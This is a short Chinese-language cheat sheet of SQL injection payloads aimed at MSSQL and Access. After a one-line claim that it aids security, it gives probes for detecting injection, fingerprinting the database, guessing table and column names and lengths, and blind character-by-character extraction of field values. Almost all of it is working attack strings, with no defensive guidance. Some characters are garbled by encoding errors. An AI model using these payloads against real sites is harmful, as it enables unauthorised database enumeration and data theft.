了解SQL注入可以有效提升程序的安全，下面給出幾個簡單的SQL注入方式：

1.判斷是否有注入;and 1=1 ;and 1=2

2.初步判斷是否是mssql ;and user>0

3.注入?yún)?shù)是字符'and [查詢條件] and ''='

4.搜索時沒過濾參數(shù)的'and [查詢條件] and '%25'='

5.判斷數(shù)據(jù)庫系統(tǒng)

;and (select count(*) from sysobjects)>0 mssql
　　;and (select count(*) from msysobjects)>0 access

6.猜數(shù)據(jù)庫 ;and (select Count(*) from [數(shù)據(jù)庫名])>0

7.猜字段 ;and (select Count(字段名) from 數(shù)據(jù)庫名)>0

8.猜字段中記錄長度 ;and (select top 1 len(字段名) from 數(shù)據(jù)庫名)>0

9.

(1)猜字段的ascii值(access)

;and (select top 1 asc(mid(字段名,1,1)) from 數(shù)據(jù)庫名)>0

(2)猜字段的ascii值(mssql)

;and (select top 1 unicode(substring(字段名,1,1)) from 數(shù)據(jù)庫名)>0